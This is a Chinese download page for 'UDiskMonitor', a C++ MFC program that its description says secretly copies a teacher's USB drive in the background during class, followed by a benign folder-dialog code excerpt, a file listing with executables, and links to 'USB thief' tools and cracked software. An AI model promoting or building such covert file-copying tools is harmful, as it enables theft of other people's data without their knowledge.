资源简介
上课老师不给上课的PPT,就总想有个程序能偷偷复制老师的U盘。找了好久才找到这么好的资源 我自己也在用 点击直接后台运行 静等下课复制啦 很好用希望大家喜欢呀
代码片段和文件信息
// FolderDialog.cpp: implementation of the CFolderDialog class.
//
//////////////////////////////////////////////////////////////////////
#include “stdafx.h“
#include “FolderDialog.h“
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
static int CALLBACK BrowseDirectoryCallBack(
HWND hWnd UINT uMsg LPARAM lParam LPARAM lpData )
{
CFolderDialog * pFd = (CFolderDialog*) lpData;
pFd->CallBackFun( hWnd uMsg lParam );
return 0;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CFolderDialog::CFolderDialog( LPCTSTR lpszFolderName
DWORD dwFlags CWnd* pParentWnd
LPCTSTR szCaptionLPCTSTR strtitle)
{
if( lpszFolderName == NULL )
m_szInitFolderName = _T(““);
else
m_szInitFolderName = lpszFolderName;
if(szCaption == NULL)
{
lstrcpy(m_szCaption _T(“Folder“));
}
else
{
lstrcpy(m_szCaption szCaption);
}
memset( &m_bi ‘\0‘ sizeof(BROWSEINFO) );
if( pParentWnd==NULL )
m_bi.hwndOwner=0;
else
m_bi.hwndOwner=pParentWnd->m_hWnd;
m_bi.pidlRoot = NULL;
m_bi.pszDisplayName = m_szDisplayName;
if (strtitle == NULL)
{
m_bi.lpsztitle = _T(“Local“);
}
else
{
m_bi.lpsztitle = strtitle;
}
m_bi.ulFlags = dwFlags|BIF_STATUSTEXT;
m_bi.lpfn = BrowseDirectoryCallBack;
m_bi.lParam = (LPARAM)this;
}
CFolderDialog::~CFolderDialog()
{
}
void CFolderDialog::CallBackFun(HWND hWnd UINT uMsg LPARAM lParam)
{
m_hDialogBox = hWnd;
switch( uMsg )
{
case BFFM_INITIALIZED:
OnInitDialog();
::SetWindowText(m_hDialogBox m_szCaption);
break;
case BFFM_SELCHANGED:
OnSelChanged( (ITEMIDLIST*)lParam );
break;
}
}
void CFolderDialog::OnInitDialog()
{
SetSelection(m_szInitFolderName);
SetStatusText( ShortName(m_szInitFolderName) );
}
void CFolderDialog::OnSelChanged(ITEMIDLIST *pIdl)
{
::SHGetPathFromIDList( pIdl m_szPath );
m_szFinalFolderName = m_szPath;
SetStatusText( ShortName(m_szFinalFolderName) );
}
int CFolderDialog::DoModal()
{
int nReturn = IDOK;
m_szFinalFolderName = m_szInitFolderName;
ITEMIDLIST * piid = NULL;
piid = ::SHBrowseForFolder( &m_bi );
if( piid && ::SHGetPathFromIDList(piidm_szPath) )
{
m_szFinalFolderName = m_szPath;
nReturn = IDOK;
}
else
{
nReturn = IDCANCEL;
}
if( piid )
{
LPMALLOC lpMalloc;
VERIFY( ::SHGetMalloc(&lpMalloc)==NOERROR );
lpMalloc->Free(piid);
lpMalloc->Release();
}
return nReturn;
}
void CFolderDialog::EnableOK(BOOL bEnable)
{
::SendMessage( m_hDialogBox BFFM_ENABLEOK 0 (bEnable?1:0) );
}
void CFolderDialog::SetSelection(LPCTSTR pszSelection)
{
::SendMessage( m_hDialogBox BFFM_SETSELECTION TRUE (LPARAM)pszSelection );
}
void CFolderDialog::SetSelection(ITEMIDLIST *pIdl)
{
::SendMessage( m_hDialogBox BFFM_
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 3459 2007-03-02 08:48 UDiskMonitor\FolderDialog.cpp
文件 1390 2004-04-02 10:04 UDiskMonitor\FolderDialog.h
文件 14145 2007-06-26 15:08 UDiskMonitor\Hyperli
文件 3545 2008-06-12 15:10 UDiskMonitor\Hyperli
文件 3687 2007-06-26 08:46 UDiskMonitor\ReadMe.txt
文件 2995 2007-06-26 13:56 UDiskMonitor\RegisterKey.cpp
文件 1126 2008-06-12 15:10 UDiskMonitor\RegisterKey.h
..A.SH. 7168 2007-06-26 15:15 UDiskMonitor\res\Thumbs.db
文件 10134 1998-05-01 20:01 UDiskMonitor\res\UDiskMonitor.ico
文件 404 2007-06-26 08:46 UDiskMonitor\res\UDiskMonitor.rc2
文件 1286 2008-06-12 15:14 UDiskMonitor\Resource.h
文件 214 2007-06-26 08:46 UDiskMonitor\StdAfx.cpp
文件 1419 2008-06-12 15:09 UDiskMonitor\StdAfx.h
文件 1886 2008-06-12 15:19 UDiskMonitor\UDiskMonitor.clw
文件 2704 2007-06-26 17:03 UDiskMonitor\UDiskMonitor.cpp
文件 4938 2008-06-12 15:15 UDiskMonitor\UDiskMonitor.dsp
文件 549 2007-06-26 08:46 UDiskMonitor\UDiskMonitor.dsw
文件 57344 2008-06-12 15:14 UDiskMonitor\UDiskMonitor.exe
文件 1472 2007-06-26 16:58 UDiskMonitor\UDiskMonitor.h
文件 99328 2008-06-12 15:19 UDiskMonitor\UDiskMonitor.ncb
文件 57856 2008-06-12 15:19 UDiskMonitor\UDiskMonitor.opt
文件 2709 2008-06-12 15:19 UDiskMonitor\UDiskMonitor.plg
文件 6529 2008-06-12 15:14 UDiskMonitor\UDiskMonitor.rc
文件 15482 2008-06-12 15:09 UDiskMonitor\UDiskMonitorDlg.cpp
文件 2566 2007-06-26 16:56 UDiskMonitor\UDiskMonitorDlg.h
文件 3657 2007-04-30 13:29 UDiskMonitor\ValidFunction.cpp
文件 1344 2008-06-12 15:10 UDiskMonitor\ValidFunction.h
文件 6858 2007-06-26 14:27 UDiskMonitor\XPButton.cpp
文件 2405 2008-06-12 15:10 UDiskMonitor\XPButton.h
文件 790528 2013-02-01 10:52 UDiskMonitor\工具V1.0.exe
............此处省略5个文件信息
- 上一篇:考研数学公式总结.pdf
- 下一篇:js链接生成二维码并实现保存二维码到本地
相关资源
- 单页模板扒手-快速扒网页
- vivi万能小偷3.8商业破解版(无限制)
- Teleport Ultra 破解版 网站小偷
- 随风百度知道(小偷采集) 2018年6月
- 偷窥者远程控制软件的VC源代码
- 校园生活小程序小猴偷米微信小程序
- 网站小偷工具图片附件,css,js,后台
- 扒站工具 偷全站 偷网页
- VIVI万能小偷v3.8破解版.rar
- VIVI万能小偷程序 v6.1.rar
- 偷偷挂QQ v3.4.zip
- 网站小偷工具 Teleport Ultra 中文简体破
- U盘小偷源码
- delphi ios后台运行BackgroundFetchDemo
- 自动拷贝U盘文件,插入U盘自动拷贝文
- 世界上最小巧的U盘小偷!
评论
共有 条评论